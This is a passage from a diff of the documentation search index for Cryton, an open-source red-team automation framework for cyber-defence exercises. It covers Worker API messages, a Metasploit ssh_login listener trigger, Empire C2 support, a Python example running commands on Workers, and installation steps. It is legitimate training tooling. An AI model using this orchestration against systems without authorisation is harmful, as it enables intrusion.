\"KILL_STEP_EXECUTION\", \"event_v\": {\"return_code\": -2, \"output\": \"exception\"}}\n</code></pre></p>"},{"location":"interfaces/worker-rabbit-api/#health-check","title":"Health check","text":"<p>Check if Worker is alive and send a response containing the result. Example: <pre><code>{\"event_t\": \"HEALTH_CHECK\", \"event_v\": {}}\n</code></pre></p> <p>Response example: <pre><code>{\"event_t\": \"HEALTH_CHECK\", \"event_v\": {\"return_code\": 0}}\n</code></pre></p>"},{"location":"interfaces/worker-rabbit-api/#add-trigger-for-httplistener","title":"Add trigger for HTTPListener","text":"<p>Add trigger with parameters and start listener with <code>host</code> and <code>port</code> if it doesn't already exists, send a response containing the result afterwards. </p> <p>Request example: ```json lines {\"event_t\": \"ADD_TRIGGER\", \"event_v\": {\"host\": host, \"port\": port, \"listener_type\": \"HTTP\", \"reply_to\": reply_to_queue, \"routes\": [{\"path\": path, \"method\": method, \"parameters\": [{\"name\": name, \"value\": value}]}]}} <pre><code>Response example:\n```json\n{\"event_t\": \"ADD_TRIGGER\", \"event_v\": {\"return_code\": 0, \"trigger_id\": \"123\"}}\n</code></pre></p>"},{"location":"interfaces/worker-rabbit-api/#remove-trigger-for-httplistener","title":"Remove trigger for HTTPListener","text":"<p>Remove trigger, optionally stop the HTTPListener if there are no triggers left and send a response containing the result. </p> <p>Request example: <pre><code>{\"event_t\": \"REMOVE_TRIGGER\", \"event_v\": {\"trigger_id\": \"123\"}}\n</code></pre></p>"},{"location":"interfaces/worker-rabbit-api/#add-trigger-for-msflistener","title":"Add trigger for MSFListener","text":"<p>Add trigger with session identifiers and start MSFListener.</p> <p>Request example: <pre><code>{\"event_t\": \"ADD_TRIGGER\", \"event_v\": {\"listener_type\": \"MSF\", \"reply_to\": \"cryton_core.control.response\", \"identifiers\": {\"via_exploit\": \"auxiliary/scanner/ssh/ssh_login\"}}}\n</code></pre></p> <p>Response example: <pre><code>{\"event_t\": \"ADD_TRIGGER\", \"event_v\": {\"return_code\": 0, \"trigger_id\": \"123\"}}\n</code></pre></p>"},{"location":"interfaces/worker-rabbit-api/#remove-trigger-for-msflistener","title":"Remove trigger for MSFListener","text":"<p>This will stop the MSFListener because it can't have multiple triggers.</p> <p>Request example: <pre><code>{\"event_t\": \"REMOVE_TRIGGER\", \"event_v\": {\"trigger_id\": \"123\"}}\n</code></pre></p> <p>Response example: <pre><code>{\"event_t\": \"REMOVE_TRIGGER\", \"event_v\": {\"return_code\": -2, \"output\": \"exception\"}}\n</code></pre></p>"},{"location":"interfaces/worker-rabbit-api/#list-triggers","title":"List triggers","text":"<p>List available triggers and send a response containing the result. </p> <p>Example: <pre><code>{\"event_t\": \"LIST_TRIGGERS\", \"event_v\": {}}\n</code></pre></p> <p>Response example: ```json lines {\"event_t\": \"LIST_TRIGGERS\", \"event_v\": {\"trigger_list\": [{\"id\": \"123\", \"trigger_param\": \"trigger_param_value\", ...}]}} <pre><code>#### Trigger Stage (Response only)\nSent when a trigger is activated.\n\nResponse example:\n```json lines\n{\"event_t\": \"TRIGGER_STAGE\", \"event_v\": {\"stage_execution_id\": stage_execution_id}}\n</code></pre></p>"}]} \ No newline at end of file +{"config":{"lang":["en"],"separator":"[\\s\\-]+","pipeline":["stopWordFilter"]},"docs":[{"location":"","title":"Introduction","text":"<p>Cryton toolset is a Cron-like red team framework for complex attack scenarios automation and scheduling. Through the usage of Core, Worker, and attack modules it provides ways to plan, execute and evaluate multistep attacks.</p> Are there any other usages? <ul> <li>Breach & attack emulation</li> <li>Automation of penetration testing and infrastructure scanning</li> <li>Scheduler or executor across multiple environments</li> </ul> <p>No time to read?</p> <p>Check out the quick-start guide.</p> <p>The lifecycle of the attack scenario in the Cryton context can be seen in the following picture: </p> <p>All of its open-source components can be found here.</p>"},{"location":"#purpose","title":"Purpose","text":"<p>The main purpose of the Cryton is to execute complex attack scenarios, in which the system under test is known in advance. It was designed as such to assist red teams in cybersecurity exercises in means of repeatability of certain attack scenarios. These scenarios are often prepared in advance and reflect vulnerabilities hidden in the blue team's infrastructure.</p> <p>Imagine you are taking part in a cyber defense exercise as a tutor. The task for your trainees is to defend a system or a whole infrastructure (which you prepared) against an attacker. This system is full of vulnerabilities and misconfigurations (which you prepared as well). Your trainees have e.g. one hour to fix as many of these issues as they can find. Imagine then that you have to check each system for all the fixes to see how your trainees managed to succeed. How would you do that effectively?</p> <p>This is where Cryton comes to play. If you know all the vulnerabilities in the trainees' system - and you do - you can prepare an attack scenario to check if they are still available and working after the fix. Cryton will execute the plan against all targets you tell it to and then generate reports (human and machine-readable). You can then not only see, which attack steps did succeed on which system, but also score your trainees based on these results.</p> <p>With this in mind, you should not expect Cryton to be some kind of evil artificial intelligence capable of taking over the world. It is simply a scheduler for python modules. The scheduler executes these modules according to some execution tree with conditions based on each step of the scenario. Each module is a script orchestrating some well-known attack tools, but that is it.</p>"},{"location":"#support","title":"Support","text":"<p>Cryton toolset is tested and targeted primarily on Debian and Kali Linux. However, it should be possible to use it everywhere if the requirements are met. Please keep in mind that only the latest version is supported and issues regarding different OS or distributions may not be resolved.</p> <p>The Docker images should render the support limitations irrelevant.</p>"},{"location":"acknowledgements/","title":"Acknowledgements","text":"<p>Several research activities helped us to create this open-source project. The official acknowledgments follow below.</p> This research was supported by the Security Research Programme of the Czech Republic 2015-2022 (BV III/1 - VS) granted by the Ministry of the Interior of the Czech Republic under No. VI20202022133 - Breach Emulation and Attack Simulation Toolkit (BEAST) This research was supported by the Security Research Programme of the Czech Republic 2015\u20132020 (BV III/1 \u2013 VS) granted by the Ministry of the Interior of the Czech Republic under No. VI20162019014 \u2013 Simulation, detection, and mitigation of cyber threats endangering critical infrastructure."},{"location":"architecture/","title":"Architecture","text":""},{"location":"architecture/#core","title":"Core","text":"<p>The main functionality is implemented in Cryton Core. As the name suggests, this is the core component of the Cryton toolset. It gives you the ability to create and control attack plans, generate reports, and control Workers.</p> <p>To issue commands use the provided REST API.</p>"},{"location":"architecture/#cli-and-frontend","title":"CLI and Frontend","text":"<p>There are two ways to interact with Cryton or, more precisely, utilize its REST API.</p> <p>One of them is Cryton CLI, which allows a simple way to run (automate) actions from the terminal.</p> <p>A slightly more user-friendly is Cryton Frontend, a graphical web interface providing additional functionality to improve the user experience.</p> <p>There is also the option to develop a custom application that will send requests to Core's REST API. </p>"},{"location":"architecture/#worker","title":"Worker","text":"<p>Cryton Worker is a component for executing attack modules remotely. It utilizes RabbitMQ as its asynchronous remote procedures call protocol. It connects to the RabbitMQ server and consumes messages from the Core component or any other app that implements its Rabbit API.</p>"},{"location":"architecture/#modules","title":"Modules","text":"<p>Cryton modules is a collection of scripts that allow the orchestration of some known offensive security tools such as Metasploit. For example, we can have the Nmap module that implements the scanning capabilities of the Nmap tool, serializes the evidence, and evaluates its results. </p> <p>You can develop modules according to your needs.</p>"},{"location":"architecture/#do-i-need-to-have-all-components-installed","title":"Do I need to have all components installed?","text":"<p>Depending on your use case, the composition of Cryton may vary. For example, installing the Frontend is unnecessary if you wish to control Cryton using only the CLI. However, for most use cases, you will install the main components (CLI, Core, Worker, and modules).</p>"},{"location":"architecture/#technological-decisions","title":"Technological decisions","text":"<p>The next section tries to explain the choices for currently employed technologies. Please take into account that these technologies are not supposed to be final and unchangeable. They just appeared to be best suited for the task at the time of development, they may change in the future.</p>"},{"location":"architecture/#apscheduler","title":"APScheduler","text":"<p>This was the first choice made for the scheduler module. It allows you to schedule a Python method on a specific time or day or even interval. It is pretty lightweight and does not need much in terms of resources or capacity. So far we have not found anything better suited for the task.</p>"},{"location":"architecture/#django-orm","title":"Django ORM","text":"<p>In the beginning, Cryton used the SQLite database with direct access. That changed as SQLite is not good with scaling for the future. The second choice was PostgreSQL, which stayed to this day, but it was updated with the use of the Django ORM. Using the Django REST framework for the REST interface also emerged from this choice.</p>"},{"location":"architecture/#rabbit-mq","title":"Rabbit MQ","text":"<p>For developing Master-Worker architecture, where you can issue commands remotely, we needed some kind of RPC. Although, as experience showed us, we also needed it to be asynchronous. That's why we chose a messaging broker RabbitMQ.</p>"},{"location":"architecture/#metasploit","title":"Metasploit","text":"<p>I guess everyone in the IT security field has heard about the Metasploit framework. It is one of the most complete and usable open-source attack tools available. Of course, Cryton uses it for some attack modules - the majority of simulated attacks in CDXs usually do use Metasploit in some way. But its attacking capabilities are not the only reason to use it. Its real advantage is Metasploit's session management. Every time you open a session to some machine it stores it under a specific ID which you can later use to communicate with the target. This is one of the main features you can use while executing your attack scenario in Cryton.</p>"},{"location":"architecture/#empire","title":"Empire","text":"<p>For post-exploitation attacks, we decided to add support for an open-source project called Empire. Empire is a post-exploitation framework that includes pure-PowerShell Windows agents, Python 3 Linux/OS X agents, and C# agents. The framework offers cryptological-secure communications and flexible architecture. This is done via asynchronous communication between our Worker component and an Empire c2 server.</p>"},{"location":"architecture/#docker-compose","title":"Docker (compose)","text":"<p>To bundle everything together and make the deployment effortless, we use Docker or Docker Compose configurations.</p>"},{"location":"contribution-guide/","title":"How to contribute","text":""},{"location":"contribution-guide/#fixing-and-reporting-bugs","title":"Fixing and reporting bugs","text":"<p>Any identified bugs should be posted as an issue in the respective gitlab repository. Please, include as much detail as possible for the developers, to be able to reproduce the erroneous behavior.</p> <p>Before you create an issue, make sure it doesn't exist yet.</p> <p>If the issue exists in the official Gitlab repository, please mention it in your issue.</p>"},{"location":"contribution-guide/#contributing-code","title":"Contributing code","text":"<p>To support project development check out the development instructions:</p> <ul> <li>Core</li> <li>Worker</li> <li>Modules</li> <li>CLI</li> <li>Frontend</li> </ul>"},{"location":"contribution-guide/#contribution-guidelines","title":"Contribution guidelines","text":""},{"location":"contribution-guide/#merge-requests","title":"Merge requests","text":"<ul> <li> <p>Every merge request will be named as a summary of changes or as its issue counterpart. For example <code>Bugfix \"StageExecution won't schedule due to ...\"</code>, <code>Feature \"TicketName\"</code>, <code>Enhancement \"TicketName\"</code>, <code>Resolve \"MyIssue\"</code>.</p> </li> <li> <p>The merge request's description will contain a list of changes for an easier update of other components or changelog when creating a new release. If there are some breaking changes, that will render the other components useless, please describe them in detail, or even better add an example.</p> </li> <li> <p>If the merge request is changing functionality in a way that affects other components, you have to create tickets (ticket name example: <code>Update for \"MainTicketName\"</code>) for those projects and mark them as blocking for the main MR. Related merge requests should be merged at the same time (this doesn't apply to the front-end ATM).</p> </li> <li> <p>Before opening a merge request for the Core, Worker, or CLI projects you should run end-to-end tests, which have been updated for the changes the merge request will do.</p> </li> </ul>"},{"location":"contribution-guide/#tests","title":"Tests","text":"<p>This guide simplifies and pinpoints the most important points.</p> <p>For in-app testing, we are using unit/integration tests written using the Pytest library.</p> <p>Unit tests are meant to test a specific method/function in an isolated environment (using mocking) while the integration tests check if a unit (method/function) can run even without being isolated. End-to-end tests are testing if all the functionality works across the whole Cryton toolset.</p> <ul> <li>Settings for Pytest can be found in a pyproject.toml file</li> <li>Tests (that test the same code part/class) are grouped using classes</li> <li>Each class that works with the Django DB has to be marked with <code>@pytest.mark.django_db</code></li> <li>Each class should be patched to use the test logger if possible (Core; worker)</li> <li>Unit tests shouldn't interact with the DB. </li> <li>Use the <code>model_bakery</code> library instead of mocking the DB interactions for the integration tests</li> <li>For easier mocking, each test class should have a <code>path</code> class variable. If we are testing a class in <code>path/to/module.py</code>, then the path variable will be <code>path = \"path.to.module\"</code>. To mock we simply use <code>mocker.patch(self.path + \".<method_to_mock>\")</code>.</li> <li>We are using the mocker library instead of the unittest.mock.Mock.</li> <li>Each test method starts with the <code>test_</code> prefix.</li> <li>Each fixture method starts with the <code>f_</code> prefix.</li> <li>When using parametrize, the created parameters must have the <code>p_</code> prefix.</li> </ul> <p>A test should follow the following structure. <pre><code>import pytest\n\nclass TestUnitName:\n path = \"path.to.patch.MyClass\"\n\n @pytest.fixture\n def f_to_patch(self, mocker):\n return mocker.patch(f\"{self.path}.to_patch\")\n\n @pytest.mark.parametrize(\n \"p_to_parametrize\",\n [\n ]\n )\n def test_to_test(self, f_to_patch, p_to_parametrize):\n # Arrange - set everything needed for the test\n\n # Mock - mock everything needed to isolate your test\n\n # Act - trigger your code unit\n\n # Assert - assert the outcome is exactly as expected to avoid any unpleasant surprises later\n pass\n</code></pre></p>"},{"location":"contribution-guide/#documentation","title":"Documentation","text":""},{"location":"contribution-guide/#cli-documentation-generation","title":"CLI documentation generation","text":"<p>Install Cryton CLI and run <code>cryton-cli generate-docs doc.md</code></p>"},{"location":"contribution-guide/#core-rest-api-documentation-generation","title":"Core REST API documentation generation","text":"<ul> <li>Install the swagger-markdown tool</li> <li>Download the schema from http://127.0.0.1:8000/api/schema/</li> <li>Run <code>swagger-markdown -i path/to/swagger-schema.yml</code>.</li> </ul>"},{"location":"contribution-guide/#useful-links","title":"Useful links","text":"<ul> <li>MkDocs Wiki (Third-party themes, recipes, plugins and more)</li> <li>Best-of-MkDocs (Curated list of themes, plugins and more)</li> </ul>"},{"location":"dynamic-execution/","title":"Dynamic execution","text":"<p>To support dynamic security testing. We've added support for creating dynamic plans. They allow the user to create an empty Plan/Stage and create their agent to control the execution instead of Cryton's advanced scheduler.</p>"},{"location":"dynamic-execution/#features","title":"Features","text":"<ul> <li>Create a Plan/Step/Stage for dynamic execution (an empty list of Stages/Steps can be provided)</li> <li>Add Step to Stage execution and execute it</li> <li>Add Stage to Plan execution and start it</li> <li>Added Steps are automatically set as a successor of the last Step (only if the <code>is_init</code> variable is not set to True and a possible parent Step exists)</li> </ul>"},{"location":"dynamic-execution/#limitations","title":"Limitations","text":"<ul> <li>Dynamic plan must have a <code>dynamic</code> variable set to True</li> <li>If you don't want to pass any Stages/Steps you must provide an empty list</li> <li>Each Stage and Step must have a unique name in the same Plan (utilize inventory variables to overcome this limitation)</li> <li>The Stage/Step you're trying to add must be valid</li> <li>Run's Plan must contain the instance (Stage/Step) you are trying to execute</li> <li>You cannot create multiple executions for an instance (you can execute an instance only once) under the same Plan execution</li> </ul>"},{"location":"dynamic-execution/#example-using-python","title":"Example using Python","text":"<p>You will probably want to automate these actions rather than using CLI to do them. For this purpose, we will create a simple Python script that will:</p> <ol> <li>Create a template</li> <li>Create a Plan</li> <li>Add a Stage</li> <li>Add a Step</li> <li>Create a Run</li> <li>Execute the Run</li> <li>Create a new Step</li> <li>Execute the new Step</li> <li>Get the Run report</li> </ol> <p>Requirements</p> <ul> <li>Cryton Core is running (REST API is accessible at localhost:8000)</li> <li>Worker is registered in Core and running</li> <li>mod_cmd is accessible from the Worker</li> </ul> <p>Download the example script:</p> curlwget <pre><code>curl -O https://cryton.gitlab-pages.ics.muni.cz/cryton-documentation/masterdynamic_example.py\n</code></pre> <pre><code>wget https://cryton.gitlab-pages.ics.muni.cz/cryton-documentation/masterdynamic_example.py\n</code></pre> <p>Update the <code>WORKER_ID</code> variable, and run the script: <pre><code>python3 dynamic_example.py\n</code></pre></p> Show the example <pre><code>import requests\nimport yaml\nimport time\n\nWORKER_ID = 0\n\nTEMPLATE = {\n \"plan\": {\n \"name\": \"example\",\n \"owner\": \"Cryton\",\n \"dynamic\": True,\n \"stages\": []\n }\n}\n\nSTAGE = {\n \"name\": \"no delay stage {{ id }}\",\n \"trigger_type\": \"delta\",\n \"trigger_args\": {\n \"seconds\": 0\n },\n \"steps\": []\n}\n\nSTEP = {\n \"name\": \"initial step\",\n \"step_type\": \"worker/execute\",\n \"is_init\": True,\n \"arguments\": {\n \"module\": \"mod_cmd\",\n \"module_arguments\": {\n \"cmd\": \"whoami\"\n }\n }\n}\n\nSTEP_REUSABLE = {\n \"name\": \"reusable step {{ id }}\",\n \"step_type\": \"worker/execute\",\n \"arguments\": {\n \"module\": \"mod_cmd\",\n \"module_arguments\": {\n \"cmd\": \"{{ command }}\"\n }\n }\n}\n\n\ndef get_api_root():\n api_address = \"localhost\"\n api_port = 8000\n return f\"http://{api_address}:{api_port}/api/\"\n\n\nif __name__ == \"__main__\":\n # Check if the Worker is specified\n if WORKER_ID < 1:\n raise Exception(\"Please specify a correct Worker ID at the top of the file.\")\n print(f\"Worker id: {WORKER_ID}\")\n\n # Get api root\n api_root = get_api_root()\n\n # 1. Create a template\n r_create_template = requests.post(f\"{api_root}templates/\", files={\"file\": yaml.dump(TEMPLATE)})\n template_id = r_create_template.json()['id']\n print(f\"Template id: {template_id}\")\n\n # 2. Create a Plan\n r_create_plan = requests.post(f\"{api_root}plans/\", data={'template_id': template_id})\n plan_id = r_create_plan.json()['id']\n print(f\"Plan id: {plan_id}\")\n\n # 3. Add a Stage\n stage_inventory = {\"id\": 1}\n r_create_stage = requests.post(f\"{api_root}stages/\", data={'plan_id': plan_id},\n files={\"file\": yaml.dump(STAGE), \"inventory_file\": yaml.dump(stage_inventory)})\n stage_id = r_create_stage.json()['id']\n print(f\"Stage id: {stage_id}\")\n\n # 4. Add a Step\n r_create_step = requests.post(f\"{api_root}steps/\", data={'stage_id': stage_id}, files={\"file\": yaml.dump(STEP)})\n step_id = r_create_step.json()['id']\n print(f\"Step id: {step_id}\")\n\n # 5. Create a new Run\n r_create_run = requests.post(f\"{api_root}runs/\", data={'plan_id': plan_id, \"worker_ids\": [WORKER_ID]})\n run_id = r_create_run.json()[\"id\"]\n print(f\"Run id: {run_id}\")\n\n # 6. Execute the Run\n r_execute_run = requests.post(f\"{api_root}runs/{run_id}/execute/\", data={'run_id': run_id})\n print(f\"Run response: {r_execute_run.text}\")\n\n # 7. Create a new Step\n step_inventory = {\"id\": 1, \"command\": \"echo test\"}\n r_create_step2 = requests.post(f\"{api_root}steps/\", data={'stage_id': stage_id},\n files={\"file\": yaml.dump(STEP_REUSABLE),\n \"inventory_file\": yaml.dump(step_inventory)})\n step_id2 = r_create_step2.json()['id']\n print(f\"Second step id: {step_id2}\")\n\n # 8. Execute the new Step (First, get Stage execution's id)\n stage_execution_id = requests.get(f\"{api_root}runs/{run_id}/report/\")\\\n .json()[\"detail\"][\"plan_executions\"][0][\"stage_executions\"][0][\"id\"]\n r_execute_step = requests.post(f\"{api_root}steps/{step_id2}/execute/\",\n data={'stage_execution_id': stage_execution_id})\n print(f\"Second Step response: {r_execute_step.text}\")\n\n # 9. Get Run report\n for i in range(5):\n time.sleep(3)\n current_state = requests.get(f\"{api_root}runs/{run_id}/\").json()[\"state\"]\n if current_state == \"FINISHED\":\n break\n print(f\"Waiting for a final state. Current state: {current_state}\")\n\n print()\n print(\"Report: \")\n print(yaml.dump(requests.get(f\"{api_root}runs/{run_id}/report/\").json()[\"detail\"]))\n</code></pre>"},{"location":"dynamic-execution/#example-using-cli","title":"Example using CLI","text":"<p>For this example we will assume that:</p> <p>Requirements</p> <ul> <li>Cryton Core is running (REST API is accessible at localhost:8000)</li> <li>Worker is registered in Core and running</li> <li>mod_cmd is accessible from the Worker</li> </ul> <p>Files used in this guide can be found in the Cryton Core repository.</p> <p>It's best to switch to the example directory, so we will assume that's true. <pre><code>cd /path/to/cryton-core/examples/dynamic-execution-example/\n</code></pre></p>"},{"location":"dynamic-execution/#building-a-base-plan-and-executing-it","title":"Building a base Plan and executing it","text":"<p>First, we create a template <pre><code>cryton-cli plan-templates create template.yml\n</code></pre></p> <p>Create a Plan (instance) <pre><code>cryton-cli plans create <template_id>\n</code></pre></p> <p>Add a Stage to the Plan (update the inventory file to your needs) <pre><code>cryton-cli stages create <plan_id> stage.yml -i stage-inventory.yml\n</code></pre></p> <p>Add an initial Step to the Stage <pre><code>cryton-cli steps create <stage_id> step-init.yml\n</code></pre></p> <p>Add a reusable Step to the Stage (update the inventory file to your needs) <pre><code>cryton-cli steps create <stage_id> step-reusable.yml -i step-reusable-inventory.yml\n</code></pre></p> <p>Create a Worker you want to test on <pre><code>cryton-cli workers create local\n</code></pre></p> <p>Create a Run <pre><code>cryton-cli runs create <plan_id> <worker_id>\n</code></pre></p> <p>Execute the Run <pre><code>cryton-cli runs execute <run_id>\n</code></pre></p>"},{"location":"dynamic-execution/#start-a-standalone-stage","title":"Start a standalone Stage:","text":"<p>Add your Stage to the desired Plan (Update the inventory file! Stage names must be unique.) <pre><code>cryton-cli stages create <plan_id> stage.yml -i stage-inventory.yml\n</code></pre></p> <p>Start your Stage (its trigger) under the desired Plan execution <pre><code>cryton-cli stages start-trigger <stage_id> <plan_execution_id>\n</code></pre></p>"},{"location":"dynamic-execution/#execute-a-standalone-step","title":"Execute a standalone Step:","text":"<p>Add your Step to the desired Stage (Update the inventory file! Step names must be unique.) <pre><code>cryton-cli steps create <stage_id> step-reusable.yml -i step-reusable-inventory.yml\n</code></pre></p> <p>Execute your Step under the desired Stage execution <pre><code>cryton-cli steps execute <step_id> <stage_execution_id>\n</code></pre></p>"},{"location":"dynamic-execution/#check-the-results-works-only-once-the-run-is-created","title":"Check the results - works only once the Run is created:","text":"<pre><code>cryton-cli runs report 1 --less\n</code></pre>"},{"location":"license/","title":"License","text":"<p>Cryton is open-source software developed by Masaryk University, and distributed under MIT license.</p>"},{"location":"license/#license-terms","title":"License Terms","text":"<p>Copyright 2023 MASARYK UNIVERSITY</p> <p>Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \u201cSoftware\u201d), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:</p> <p>The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.</p> <p>THE SOFTWARE IS PROVIDED \u201cAS IS\u201d, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.</p>"},{"location":"logging/","title":"Logging","text":"<p>The logs adhere to the following format: <pre><code>{\"queue\": \"cryton_core.control.request\", \"event\": \"Queue declared and consuming\", \"logger\": \"cryton-debug\", \"level\": \"info\", \"timestamp\": \"2021-05-18T11:19:20.012152Z\"}\n{\"plan_name\": \"Example scenario\", \"plan_id\": 129, \"status\": \"success\", \"event\": \"plan created\", \"logger\": \"cryton\", \"level\": \"info\", \"timestamp\": \"2021-05-18T06:17:39.753017Z\"}\n</code></pre></p> <p>Logs are stored in the app directory, which can be found at <code>~/.local/cryton_<app></code>. In case you're running the app in a Docker container the logs will be saved inside the container.</p>"},{"location":"logging/#core","title":"Core","text":"<p>Every change of state is logged for later analysis. Every Step the result is also logged, although the output is not. It can be found in the database.</p> <p>You can switch between the debug and the production loggers using the environment variable CRYTON_CORE_DEBUG. To run tests, we use a testing logger to avoid saving unwanted logs.</p> <p>Production (<code>cryton-core</code>)</p> <ul> <li>RotatingFileHandler (CRYTON_CORE_APP_DIRECTORY/log/cryton-core.log)</li> </ul> <p>Debug (<code>cryton-core-debug</code>)</p> <ul> <li>RotatingFileHandler (CRYTON_CORE_APP_DIRECTORY/log/cryton-core-debug.log)</li> <li>Console (std_out)</li> </ul> <p>Testing (<code>cryton-core-test</code>)</p> <ul> <li>Console (std_out)</li> </ul>"},{"location":"logging/#worker","title":"Worker","text":"<p>Each request and its processing are logged for later analysis.</p> <p>You can switch between the debug and the production loggers using the environment variable CRYTON_WORKER_DEBUG. To run tests, we use a testing logger to avoid saving unwanted logs.</p> <p>Production (<code>cryton-worker</code>)</p> <ul> <li>RotatingFileHandler (CRYTON_WORKER_APP_DIRECTORY/log/cryton-worker.log)</li> </ul> <p>Debug (<code>cryton-worker-debug</code>)</p> <ul> <li>RotatingFileHandler (CRYTON_WORKER_APP_DIRECTORY/log/cryton-worker-debug.log)</li> <li>Console (std_out)</li> </ul> <p>Testing (<code>cryton-worker-test</code>)</p> <ul> <li>Console (std_out)</li> </ul>"},{"location":"production/","title":"Production","text":"<p>There are some rules you should follow when deploying Cryton to a production environment.</p>"},{"location":"production/#core","title":"Core","text":""},{"location":"production/#settings","title":"Settings","text":"<p>Update these settings to not use the default values</p> <ul> <li>CRYTON_CORE_RABBIT_PASSWORD</li> <li>CRYTON_CORE_DB_PASSWORD</li> <li>CRYTON_CORE_API_SECRET_KEY</li> </ul>"},{"location":"production/#proxy","title":"Proxy","text":"<p>Hide the rest API behind a proxy with restricted access.</p> <p>Tip</p> <p>Use the officially supplied docker-compose.yml.</p>"},{"location":"production/#worker","title":"Worker","text":""},{"location":"production/#settings_1","title":"Settings","text":"<p>Update these settings to not use the default values</p> <ul> <li>CRYTON_WORKER_NAME</li> <li>CRYTON_WORKER_MODULES_DIR</li> <li>CRYTON_WORKER_MSFRPCD_PASSWORD</li> <li>CRYTON_WORKER_RABBIT_PASSWORD</li> <li>CRYTON_WORKER_EMPIRE_PASSWORD</li> </ul>"},{"location":"components/cli/","title":"CLI","text":""},{"location":"components/cli/#description","title":"Description","text":"<p>Cryton CLI is a command line interface used to interact with Cryton Core (its API).</p> <p>Link to the repository.</p>"},{"location":"components/cli/#settings","title":"Settings","text":"<p>Cryton CLI uses environment variables for its settings. Please update them to your needs.</p>"},{"location":"components/cli/#overriding-settings","title":"Overriding settings","text":"<p>To override the settings, use the <code>export</code> command: <pre><code>export CRYTON_CLI_API_HOST=127.0.0.1\n</code></pre></p> <p>Use <code>unset</code> to remove a variable.</p> <p>Some settings can be overridden using the CLI. Try using: <pre><code>cryton-cli --help\n</code></pre></p> Overriding settings permanently <p></p> <p>First, make sure the app directory exists: <pre><code>mkdir -p ~/.local/cryton-cli/\n</code></pre></p> <p>Download the default settings into the app directory:</p> curlwget <pre><code>curl -o ~/.local/cryton-cli/.env https://gitlab.ics.muni.cz/cryton/cryton-cli/-/raw/stable/2023.1/.env\n</code></pre> <pre><code>wget -O ~/.local/cryton-cli/.env https://gitlab.ics.muni.cz/cryton/cryton-cli/-/raw/stable/2023.1/.env\n</code></pre> <p>Open the file and update it to your needs.</p> Overriding settings with Docker <p></p> <p>To override a variable use the <code>-e</code> or the <code>--env-file</code> option: <pre><code>docker run -e CRYTON_CLI_API_HOST=127.0.0.1 --env-file relative/path/to/.env ...\n</code></pre></p> <p>More information can be found here.</p> Overriding settings with Docker compose <p></p> <p>Override variables in the <code>environment</code> or the <code>env_file</code> attribute: <pre><code>services\n service:\n environment:\n - CRYTON_CLI_API_HOST=127.0.0.1\n env_file:\n - relative/path/to/.env\n</code></pre></p> <p>More information can be found here.</p>"},{"location":"components/cli/#available-settings","title":"Available settings","text":""},{"location":"components/cli/#cryton_cli_time_zone","title":"CRYTON_CLI_TIME_ZONE","text":"<p>Timezone used for scheduling (for example when scheduling a Run). Use the <code>AUTO</code> value to use your system timezone.</p> value default example string AUTO Europe/Prague"},{"location":"components/cli/#cryton_cli_api_host","title":"CRYTON_CLI_API_HOST","text":"<p>Cryton Core's API address.</p> value default example string 127.0.0.1 cryton-core.host"},{"location":"components/cli/#cryton_cli_api_port","title":"CRYTON_CLI_API_PORT","text":"<p>Cryton Core's API port.</p> value default example int 8000 8008"},{"location":"components/cli/#cryton_cli_api_ssl","title":"CRYTON_CLI_API_SSL","text":"<p>Use SSL to connect to REST API.</p> value default example boolean false true"},{"location":"components/cli/#cryton_cli_api_root","title":"CRYTON_CLI_API_ROOT","text":"<p>REST API URL. (do not change, if you don't know what you're doing)</p> value default example string api/ api/path/"},{"location":"components/cli/#cryton_cli_app_directory","title":"CRYTON_CLI_APP_DIRECTORY","text":"<p>Path to the Cryton CLI directory. (do not change, if you don't know what you're doing)</p> value default example string ~/.local/cryton-cli/ /path/to/app/ <p>The default value in Docker is set to <code>/app</code>.</p>"},{"location":"components/cli/#installation","title":"Installation","text":""},{"location":"components/cli/#with-pipx","title":"With pipx","text":"<p>Cryton CLI is available in the PyPI and can be installed using pip. However, we highly recommend installing the app in an isolated environment using pipx.</p> <p>Requirements</p> <ul> <li>Python >=3.8,<3.12</li> <li>pipx</li> </ul> <p>Recommendations</p> <ul> <li>Override the settings</li> <li>Enable shell completion</li> </ul> <p>Install the app:</p> pipxpip <pre><code>pipx install cryton-cli==2023.1\n</code></pre> <pre><code>pip install --user cryton-cli==2023.1\n</code></pre>"},{"location":"components/cli/#with-docker","title":"With Docker","text":"<p>Cryton CLI is available as a Docker image and can be installed using Docker.</p> <p>Requirements</p> <ul> <li>Docker</li> </ul> <p>Recommendations</p> <ul> <li>Docker Post-installation steps</li> <li>Override the settings</li> <li>If you're using persistent settings, switch to the app directory and pass the settings</li> </ul> <p>Run the container and enter an interactive shell: <pre><code>docker run -it --network host registry.gitlab.ics.muni.cz:443/cryton/cryton-cli:2023.1\n</code></pre></p>"},{"location":"components/cli/#with-docker-compose","title":"With Docker Compose","text":"<p>Example Docker Compose configuration is also available. </p> <p>Requirements</p> <ul> <li>Docker Compose</li> </ul> <p>Recommendations</p> <ul> <li>Docker Post-installation steps</li> <li>Override the settings</li> <li>If you're using persistent settings, switch to the app directory and pass the settings</li> </ul> Switch to the app directory <pre><code>mkdir -p ~/.local/cryton-cli/\ncd ~/.local/cryton-cli/\n</code></pre> <p>Download the configuration using:</p> curlwget <pre><code>curl -O https://gitlab.ics.muni.cz/cryton/cryton-cli/-/raw/stable/2023.1/docker-compose.yml\n</code></pre> <pre><code>wget https://gitlab.ics.muni.cz/cryton/cryton-cli/-/raw/stable/2023.1/docker-compose.yml\n</code></pre> <p>Run the container and enter an interactive shell: <pre><code>docker compose run cryton_cli\n</code></pre></p>"},{"location":"components/cli/#usage","title":"Usage","text":"<p>Use the following to invoke the app: <pre><code>cryton-cli\n</code></pre></p> <p>You should see a help page: <pre><code>Usage: cryton-cli [OPTIONS] COMMAND 